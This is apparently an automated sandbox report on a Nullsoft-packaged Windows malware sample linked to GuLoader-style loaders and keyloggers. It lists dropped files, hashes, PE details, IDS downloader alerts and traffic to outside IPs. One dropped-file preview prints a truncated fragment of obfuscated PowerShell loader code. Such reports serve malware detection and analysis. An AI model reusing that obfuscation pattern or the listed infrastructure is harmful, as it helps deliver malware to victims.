	Teklifformu_Ekinoks LS 1087251 04-00000152.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	http://mir-belting.com	Get hash	malicious	Unknown	Browse	149.154.167.220

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll	Shipping documents 000022999878999800009999.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	Ze1Ueabtx5.img	Get hash	malicious	AgentTesla, GuLoader	Browse
	Documenti di spedizione 0009333000459595995.exe	Get hash	malicious	AgentTesla, GuLoader	Browse
	4hIPvzV6a2.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.PUA.Tool.InstSrv.10.14191.25974.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.PUA.Tool.InstSrv.10.14191.25974.exe	Get hash	malicious	Unknown	Browse
	3Dut8dFCwD.exe	Get hash	malicious	Unknown	Browse
	Ms63nDrOBa.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.PUA.Tool.InstSrv.10.1046.23999.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.PUA.Tool.InstSrv.10.1046.23999.exe	Get hash	malicious	Unknown	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	modified
Size (bytes):	8003
Entropy (8bit):	4.840877972214509
Encrypted:	false
SSDEEP:	192:Dxoe5HVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9smzdcU6CDQpOR:J1VoGIpN6KQkj2qkjh4iUx5Uib4J
MD5:	106D01F562D751E62B702803895E93E0
SHA1:	CBF19C2392BDFA8C2209F8534616CCA08EE01A92
SHA-256:	6DBF75E0DB28A4164DB191AD3FBE37D143521D4D08C6A9CEA4596A2E0988739D
SHA-512:	81249432A532959026E301781466650DFA1B282D05C33E27D0135C0B5FD0F54E0AEEADA412B7E461D95A25D43750F802DE3D6878EF0B3E4AB39CC982279F4872
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2crrhbxx.mhi.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_mbvr5gzv.hbs.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Reputation:	high, very likely benign file
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\nsbB152.tmp\nsExec.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	7168
Entropy (8bit):	5.2959870663251625
Encrypted:	false
SSDEEP:	96:JwzdzBzMDhOZZDbXf5GsWvSv1ckne94SDbYkvML1HT1fUNQaSGYuH0DQ:JTQHDb2vSuOc41ZfUNQZGdHM
MD5:	B4579BC396ACE8CAFD9E825FF63FE244
SHA1:	32A87ED28A510E3B3C06A451D1F3D0BA9FAF8D9C
SHA-256:	01E72332362345C415A7EDCB366D6A1B52BE9AC6E946FB9DA49785C140BA1A4B
SHA-512:	3A76E0E259A0CA12275FED922CE6E01BDFD9E33BA85973E80101B8025EF9243F5E32461A113BBCC6AA75E40894BB5D3A42D6B21045517B6B3CF12D76B4CFA36A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Shipping documents 000022999878999800009999.exe, Detection: malicious, Browse Filename: Ze1Ueabtx5.img, Detection: malicious, Browse Filename: Documenti di spedizione 0009333000459595995.exe, Detection: malicious, Browse Filename: 4hIPvzV6a2.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.PUA.Tool.InstSrv.10.14191.25974.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.PUA.Tool.InstSrv.10.14191.25974.exe, Detection: malicious, Browse Filename: 3Dut8dFCwD.exe, Detection: malicious, Browse Filename: Ms63nDrOBa.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.PUA.Tool.InstSrv.10.1046.23999.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.PUA.Tool.InstSrv.10.1046.23999.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................,.................Rich...........................PE..L...Q.d...........!......................... ...............................P............@..........................$..l.... ..P............................@....................................................... ...............................text............................... ..`.rdata..<.... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\acneform\Camomiles.Bev

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	dropped
Size (bytes):	72766
Entropy (8bit):	5.199237020314929
Encrypted:	false
SSDEEP:	1536:13twgdZfLUclpxZnFhI/8Qb+X/JDOsq3eJwdCzDzZier9:13qUFUclCzb+xDO/arr9
MD5:	99EBA9ECC95F62898E4DF3AA12CB4624
SHA1:	C21A35B90111B01C32C9E963B20AAA01B35658A6
SHA-256:	B8408FC8DF3CD3C0938D8314568B278D72CB102B8D128A11608CAB75A2046B21
SHA-512:	42B40C55DC01197D21B6DBB5C4D0CA77BE2CA890A70FAB1E0022DEFBDE7204A8B19387915FE144B540333BDB72FDE557E8F1673131830FAF455AA0FB25E6A347
Malicious:	false
Preview:	$Raderingens=$Vagabonds;<#Winning Nonvibrator Reachableness Lithographing Filcursoren #><#Bekend Suppeskeens Consideration #><#Hjalmer Misperceiving Luvgirig Taktmssigt Expensiveness Fanglinernes Neohexane #><#Replicas Mbelpoliturers Rustiest Landgreverne Incloses nonmodern #><#Valeting Frstebehandlingernes Alcoholically unvivid Unwork Hyperpituitarism #><#wee Dawnstreak Bakuninism Sublecturer Alfredo Normalness Circumvent #>$Impositive = "longere;Modelre`$EjermndS Makedow lkegra Treledn SadneskPostulaeacti,otyKastanioRepromioSurr.almGarganee Dis nfr stony a enshanIntensigK lkninsShivere=Yarboro`$kogevasSBrevbakwChromopaDeoxyrinSkifterkImprecaeReedlinyAv.adoriF nnedesOmkartepprfabrieVelsignh.efunctuSubjicieCardiosr Militas quawbe;StaurotfMis,ighu CaptornSchizo.c Walkent DantepiDekup,eoGdningsnEjendom yphaeHEavesdroFerielicSafariik SedimeeCoccothyConvertsUds iftp GestusiAfhjemllAudiogrlVirkelieOverb dr .olkeveOpbrugss Sand m Benzofl(sundhed`$KoleraePEtaper,aFnuggedeUnikummsCentau aC

C:\Users\user\AppData\Local\acneform\Tjenestepligterne\file.exe

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	750104
Entropy (8bit):	7.620010644230869
Encrypted:	false
SSDEEP:	12288:TfLdembnSidi8rrdTT4aQUh9IHUM1mPCeBxHnymwsXFDsiJjWlWVB0mPHp:TfLNnSsi8dTTCjmqePSrsXF4i7XPPJ
MD5:	7FBB332B55F872E61C8307E0B5242287
SHA1:	B499466240EF01DA4A2CF380D709752B2E44232A
SHA-256:	9845ACC424512CC5B0C67DE96CE917624B5E80EE95EA4EA6A7CBC37B7C03EF63
SHA-512:	E813F006263B87A5078BCA9C58B94567AC8DF627B27D44411774B797BDD7095F9BEBAFF8A1D2F0329B8FC63016199EF7E04EC17D68CE28B250CD3DA37C2E8D04
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 21%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN._...PN..PO.JPN._...PN.s~..PN..VH..PN.Rich.PN.........................PE..L...l.d.................j..........25............@.................................kK....@..........................................P...d...........h..p............................................................................................text....h.......j.................. ..`.rdata..d............n..............@..@.data...............................@....ndata.......P...........................rsrc....d...P...f..................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\acneform\Tjenestepligterne\file.exe:Zone.Identifier

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\acneform\Tjenestepligterne\rettersted.bef

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	328009
Entropy (8bit):	1.2551228776153396
Encrypted:	false
SSDEEP:	1536:AfCPIKQLWsgBwj5eZNb+h+QkSGkJPsGyksKU:ATKZNbTQkSGky0sKU
MD5:	78C7002A6C29415CEA767894F99BDF01
SHA1:	37B39AF4E61D2A97D1B1AEA54D1C3C3D8C3AD6D8
SHA-256:	414BB9BB930F1269088CF9BF027667E6B9A4130E6E719E7C178406A8C8C3183E
SHA-512:	A39B5656AF287783AB4C5E211C148D2D233AB635E8D8C4870693D31267904E9C94A3BCC07B20F92C55F68BC7E6E2B5F1D22C6ED3F9B3A729CABD14B2E7B58D58
Malicious:	false
Preview:	..............................................A............................................]..............2.................................N.................................................................................................................................i.......................................................................................X............h...................j...........,............)...w....................................R.................................V...............................................................R.../.........................................)...................................................].............................,...v............................................./.......................................`........)........#..........x............H.....................................v..........K..........................................................................................................*............................

C:\Users\user\AppData\Local\acneform\Tjenestepligterne\xenosaurid.txt

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	453
Entropy (8bit):	4.241518252490206
Encrypted:	false
SSDEEP:	6:mTXCFWRbo5FpTNrQNFqqhq48RZ8av8Atp3d6G4bg3pCp+oWKHYAtpcRvFVTZqIMC:0X4OA7aY48MNAtDMeExYAYdfqI1f1o2
MD5:	261F38F05E7DE27DA302C07B62E1F94D
SHA1:	8D495D43FC7A2B40C52B8D31678F24B519257610
SHA-256:	50D950EE2F6CD5D31AAA35B913DC46C8EEE3120B7444EF5EBB302B88851F3328
SHA-512:	62106A1D3608A63C12D6E9A7A00FD775ECD38193B779D4C13E18850230F1C7A1F0BD5DF0602AF5553F24BB0BAD6703BB9DC00C09C14E91DD098CE4EC95050E47
Malicious:	false
Preview:	stulls sprttede trlkvinder materialerne,disciplinerendes antirailwayist topchefs dhyana behovsanalyserne,vager cimnel bonderve debitable karyotin sadelmagervrkstederne samfundskonomien plakatopstning horologe vaner taleruafhaengigt..flimmer carryout arbejdsdisketterne breakaxe vidtaabne elastose.attestationerne mennonist rubicon barogrammerne respectively reddet overretention,brdknivenes yndlingsbog ministate paleogeographically repenalize henriett.

C:\Users\user\AppData\Local\acneform\Tvangsforflytnings.Fus

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	340463
Entropy (8bit):	7.6883510403915185
Encrypted:	false
SSDEEP:	6144:/UUvKKVQiIl/mdVzp9A2e3dLVKPbsKZpRqHrb5OmuwYjofT:MUvKKyAFOh3DwYKQuSfT
MD5:	B7996FE76D831F7949992DA7E460B2F6
SHA1:	AC086BA78FB87FD615A5C4B760EBB90057EBB46E
SHA-256:	DBD8E48ED8E7EC0FBEAD479F69B3A733C33D2F814EF70161F7D65331CC069C02
SHA-512:	4721F5D304B7077C29FB87923B8278E326E1EEBB24446BA450445006C7976D75BD529A119AF3E72DA009FF4CC1907690417823EA95430962F35FFFE598DD2F77
Malicious:	false
Preview:	...............\\\./.....ccc....G.......__..P...................5...----.o............NN...........r..........@@@....;;...........F.....III...... ....s.zz.DDD.........................A.O.oo...CC......eeeeee..g........................&&&.u..%%%..........w...5./...Q...22..z.99.......................B.22.......................................................((.%%.....5.'..b........................................$......YY.............Y.................>>..............................].............o.+.EEE......55.....................Y..\|\|..........DDDDDD....................Z....................;......n.\.........C..J.&&...`..n....K..................0000.g...........U..A.........,,,...!.$$....##....22....k.....................zz."...1.QQ.....z..........\|\|............111111...0..........ddd.XX........mm.............................K..............ff..c..............6...................n.........p.$....o.................CC.\|..ff.....,,...<............................... .....................

C:\Users\user\AppData\Local\acneform\afplingen.che

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	245776
Entropy (8bit):	1.2423947315855175
Encrypted:	false
SSDEEP:	768:7x19EzEPqdI04IDk5wH/o606sFjlhpHi98oiQErpn6jGW3LSSW1Vn+7xd4R89Z9u:13ujvdGpic/cN2q8+js/5/H
MD5:	9F9EC5CB34B99692A4EAC963634A7D82
SHA1:	5C1C97F3B00365F6CDB43112D31D7DD3AA050870
SHA-256:	7579E3606C789ED66E555D541F14BDA6ECAEA4B2EB7B7BC3A25E7C804B3AB48F
SHA-512:	A574404306396B333F64FC16256C093CA1F2B6CF87E5675ED678F00DE3B899FFE4A95CBA4D1113B9C86B8C46549D06D7AB97930955F921CD73AE37D4067B1EB0
Malicious:	false
Preview:	......................................................{............J...............l....................w...........N....................................................................\.........................................\|.........................{..............i.................................k...............!......&..............................................................................................................."...........................t.:...s............................................................A...................................................................d.........................2.......\|................................................Y............&...............................5.......(................................`..............................*............i..........................................>........................................~.....................................................................................................I

C:\Users\user\AppData\Local\acneform\forlggere.bov

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	452228
Entropy (8bit):	1.250842541049128
Encrypted:	false
SSDEEP:	768:qlmssNPVJP2ri6hEVTp7WLL1GEOCTOemgej7kcwntQz2Y1drtNhgCV+AhB/7/dR+:5tvPloD3bnq3TzwesbDEfLeaz6oSzjU8
MD5:	30C2C02FB78EFAA65C6A38457A7DC4F6
SHA1:	40AEF6B9982695F88F0515104BFEEACFAF22FEDA
SHA-256:	CE57C2DEDAA3A0FD5F5C267F3336F5ACB6109D00D31A98D4638D26A77939CEFC
SHA-512:	8AC0B2E7831C801D7C4043195BEFC309F2C79BE719FF0171D0A4E580671EBADD2F737C307A4AAE2E548705CD11B24FE64F07C6E842D7DD5D3CCD88EA677BC7FA
Malicious:	false
Preview:	...........................................t..................................................................................................a..............d...........................o.........................=..#..............0.........<.........0.......................>..........`..........................................................................................:.........u.............................................0.................................C..~.............................................X......................................................"............................f........................................w.................................{............................"..................e........................................f...........l...............................................I............................ Z...........................;.............;.................................u.................................................................%....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.620010644230869
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	750'104 bytes
MD5:	7fbb332b55f872e61c8307e0b5242287
SHA1:	b499466240ef01da4a2cf380d709752b2e44232a
SHA256:	9845acc424512cc5b0c67de96ce917624b5e80ee95ea4ea6a7cbc37b7c03ef63
SHA512:	e813f006263b87a5078bca9c58b94567ac8df627b27d44411774b797bdd7095f9bebaff8a1d2f0329b8fc63016199ef7e04ec17d68ce28b250cd3da37c2e8d04
SSDEEP:	12288:TfLdembnSidi8rrdTT4aQUh9IHUM1mPCeBxHnymwsXFDsiJjWlWVB0mPHp:TfLNnSsi8dTTCjmqePSrsXF4i7XPPJ
TLSH:	06F412093FB8E6F3C0D16D3915B243561BF0B19615496F137310BF4AA9AE6A3980EFE4
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1 ..PN..PN..PN._...PN..PO.JPN._...PN..s~..PN..VH..PN.Rich.PN.........................PE..L...l..d.................j.........

File Icon


Icon Hash:	2b25372d4e5ad12f

Static PE Info

General

Entrypoint:	0x403532
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x64A0DC6C [Sun Jul 2 02:09:48 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f4639a0b3116c2cfc71144b88a929cfd

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN="Dumdristig Cathetometer ", O=Nonculpably, L=Medaryville, S=Indiana, C=US
Signature Validation Error:	A certificate chain processed, but terminated in a root certificate which is not trusted by the trust provider
Error Number:	-2146762487
Not Before, Not After	13/05/2024 04:15:20 13/05/2027 04:15:20
Subject Chain	CN="Dumdristig Cathetometer ", O=Nonculpably, L=Medaryville, S=Indiana, C=US
Version:	3
Thumbprint MD5:	2125E78073B3DE10354E99A49884F940
Thumbprint SHA-1:	633626C811E5AD013D25FF7C0026F7D7152AC243
Thumbprint SHA-256:	ECEA41CEFFE02297DF1297EBEE32E2BD6E688EF8E19AF9254DAF23053AB9C26F
Serial:	44FB76A8AED1ADDCF3394332BFEEF80025A47D57

Entrypoint Preview

Instruction
sub esp, 000003F8h
push ebp
push esi
push edi
push 00000020h
pop edi
xor ebp, ebp
push 00008001h
mov dword ptr [esp+20h], ebp
mov dword ptr [esp+18h], 0040A2D8h
mov dword ptr [esp+14h], ebp
call dword ptr [004080A4h]
mov esi, dword ptr [004080A8h]
lea eax, dword ptr [esp+34h]
push eax
mov dword ptr [esp+4Ch], ebp
mov dword ptr [esp+0000014Ch], ebp
mov dword ptr [esp+00000150h], ebp
mov dword ptr [esp+38h], 0000011Ch
call esi
test eax, eax
jne 00007FCB690670EAh
lea eax, dword ptr [esp+34h]
mov dword ptr [esp+34h], 00000114h
push eax
call esi
mov ax, word ptr [esp+48h]
mov ecx, dword ptr [esp+62h]
sub ax, 00000053h
add ecx, FFFFFFD0h
neg ax
sbb eax, eax
mov byte ptr [esp+0000014Eh], 00000004h
not eax
and eax, ecx
mov word ptr [esp+00000148h], ax
cmp dword ptr [esp+38h], 0Ah
jnc 00007FCB690670B8h
and word ptr [esp+42h], 0000h
mov eax, dword ptr [esp+40h]
movzx ecx, byte ptr [esp+3Ch]
mov dword ptr [004347B8h], eax
xor eax, eax
mov ah, byte ptr [esp+38h]
movzx eax, ax
or eax, ecx
xor ecx, ecx
mov ch, byte ptr [esp+00000148h]
movzx ecx, cx
shl eax, 10h
or eax, ecx
movzx ecx, byte ptr [esp+0000004Eh]

Rich Headers

Programming Language:

[EXP] VC++ 6.0 SP5 build 8804

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x8608	0xa0	.rdata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x65000	0x264e8	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0xb68a8	0x970
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x8000	0x2a8	.rdata
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x68d8	0x6a00	742185983fa6320c910f81782213e56f	False	0.6695165094339622	data	6.478461709868021	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rdata	0x8000	0x1464	0x1600	a995b118b38426885fc6ccaa984c8b7a	False	0.4314630681818182	data	4.969091535632612	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.data	0xa000	0x2a818	0x600	9a9bf385a30f1656fc362172b16d9268	False	0.5247395833333334	data	4.172601271908501	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.ndata	0x35000	0x30000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_UNINITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x65000	0x264e8	0x26600	8c15b9178dda9297a3b68e6314e77cb0	False	0.48827488802931596	data	5.053989943267582	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_ICON	0x652c8	0x10828	Device independent bitmap graphic, 128 x 256 x 32, image size 65536	English	United States	0.4677629244055365
RT_ICON	0x75af0	0x94a8	Device independent bitmap graphic, 96 x 192 x 32, image size 36864	English	United States	0.5025751524069791
RT_ICON	0x7ef98	0x5488	Device independent bitmap graphic, 72 x 144 x 32, image size 20736	English	United States	0.5306377079482439
RT_ICON	0x84420	0x4228	Device independent bitmap graphic, 64 x 128 x 32, image size 16384	English	United States	0.5394426074633916
RT_ICON	0x88648	0x25a8	Device independent bitmap graphic, 48 x 96 x 32, image size 9216	English	United States	0.5737551867219917
RT_DIALOG	0x8abf0	0x100	data	English	United States	0.5234375
RT_DIALOG	0x8acf0	0x11c	data	English	United States	0.6056338028169014
RT_DIALOG	0x8ae10	0xc4	data	English	United States	0.5918367346938775
RT_DIALOG	0x8aed8	0x60	data	English	United States	0.7291666666666666
RT_GROUP_ICON	0x8af38	0x4c	data	English	United States	0.8157894736842105
RT_VERSION	0x8af88	0x21c	data	English	United States	0.5388888888888889
RT_MANIFEST	0x8b1a8	0x33e	XML 1.0 document, ASCII text, with very long lines (830), with no line terminators	English	United States	0.5542168674698795

Imports

DLL	Import
ADVAPI32.dll	RegEnumValueW, RegEnumKeyW, RegQueryValueExW, RegSetValueExW, RegCloseKey, RegDeleteValueW, RegDeleteKeyW, AdjustTokenPrivileges, LookupPrivilegeValueW, OpenProcessToken, RegOpenKeyExW, RegCreateKeyExW
SHELL32.dll	SHGetPathFromIDListW, SHBrowseForFolderW, SHGetFileInfoW, SHFileOperationW, ShellExecuteExW
ole32.dll	CoCreateInstance, OleUninitialize, OleInitialize, IIDFromString, CoTaskMemFree
COMCTL32.dll	ImageList_Destroy, ImageList_AddMasked, ImageList_Create
USER32.dll	MessageBoxIndirectW, GetDlgItemTextW, SetDlgItemTextW, CreatePopupMenu, AppendMenuW, TrackPopupMenu, OpenClipboard, EmptyClipboard, SetClipboardData, CloseClipboard, IsWindowVisible, CallWindowProcW, GetMessagePos, CheckDlgButton, LoadCursorW, SetCursor, GetSysColor, SetWindowPos, GetWindowLongW, IsWindowEnabled, SetClassLongW, GetSystemMenu, EnableMenuItem, GetWindowRect, ScreenToClient, EndDialog, RegisterClassW, SystemParametersInfoW, CharPrevW, GetClassInfoW, DialogBoxParamW, CharNextW, ExitWindowsEx, DestroyWindow, CreateDialogParamW, SetTimer, SetWindowTextW, PostQuitMessage, SetForegroundWindow, ShowWindow, wsprintfW, SendMessageTimeoutW, FindWindowExW, IsWindow, GetDlgItem, SetWindowLongW, LoadImageW, GetDC, ReleaseDC, EnableWindow, InvalidateRect, SendMessageW, DefWindowProcW, BeginPaint, GetClientRect, FillRect, DrawTextW, EndPaint, CharNextA, wsprintfA, DispatchMessageW, CreateWindowExW, PeekMessageW, GetSystemMetrics
GDI32.dll	GetDeviceCaps, SetBkColor, SelectObject, DeleteObject, CreateBrushIndirect, CreateFontIndirectW, SetBkMode, SetTextColor
KERNEL32.dll	lstrcmpiA, CreateFileW, GetTempFileNameW, RemoveDirectoryW, CreateProcessW, CreateDirectoryW, GetLastError, CreateThread, GlobalLock, GlobalUnlock, GetDiskFreeSpaceW, WideCharToMultiByte, lstrcpynW, lstrlenW, SetErrorMode, GetVersionExW, GetCommandLineW, GetTempPathW, GetWindowsDirectoryW, WriteFile, CopyFileW, ExitProcess, GetCurrentProcess, GetModuleFileNameW, GetFileSize, GetTickCount, Sleep, SetFileAttributesW, GetFileAttributesW, SetCurrentDirectoryW, MoveFileW, GetFullPathNameW, GetShortPathNameW, SearchPathW, CompareFileTime, SetFileTime, CloseHandle, lstrcmpiW, lstrcmpW, ExpandEnvironmentStringsW, GlobalFree, GlobalAlloc, GetModuleHandleW, LoadLibraryExW, FreeLibrary, WritePrivateProfileStringW, GetPrivateProfileStringW, lstrlenA, MultiByteToWideChar, ReadFile, SetFilePointer, FindClose, FindNextFileW, FindFirstFileW, DeleteFileW, MulDiv, lstrcpyA, MoveFileExW, lstrcatW, GetSystemDirectoryW, GetProcAddress, GetModuleHandleA, GetExitCodeProcess, WaitForSingleObject, SetEnvironmentVariableW

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-09-25T16:01:26.987824+0200	2803270	ETPRO MALWARE Common Downloader Header Pattern UHCa	2	192.168.2.8	49710	185.29.11.53	80	TCP
2024-09-25T16:01:28.683636+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49711	132.226.247.73	80	TCP
2024-09-25T16:01:30.386762+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49711	132.226.247.73	80	TCP
2024-09-25T16:01:30.954113+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49715	188.114.97.3	443	TCP
2024-09-25T16:01:31.683648+0200	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.8	49716	132.226.247.73	80	TCP
2024-09-25T16:01:34.877195+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49721	188.114.97.3	443	TCP
2024-09-25T16:01:39.227302+0200	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.8	49727	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 25, 2024 16:01:26.358067036 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:26.363017082 CEST	80	49710	185.29.11.53	192.168.2.8
Sep 25, 2024 16:01:26.363274097 CEST	49710	80	192.168.2.8	185.29.11.53
Sep 25, 2024 16:01:26.363347054 CEST	49710	80	192.168.2.8	185.29.11.53
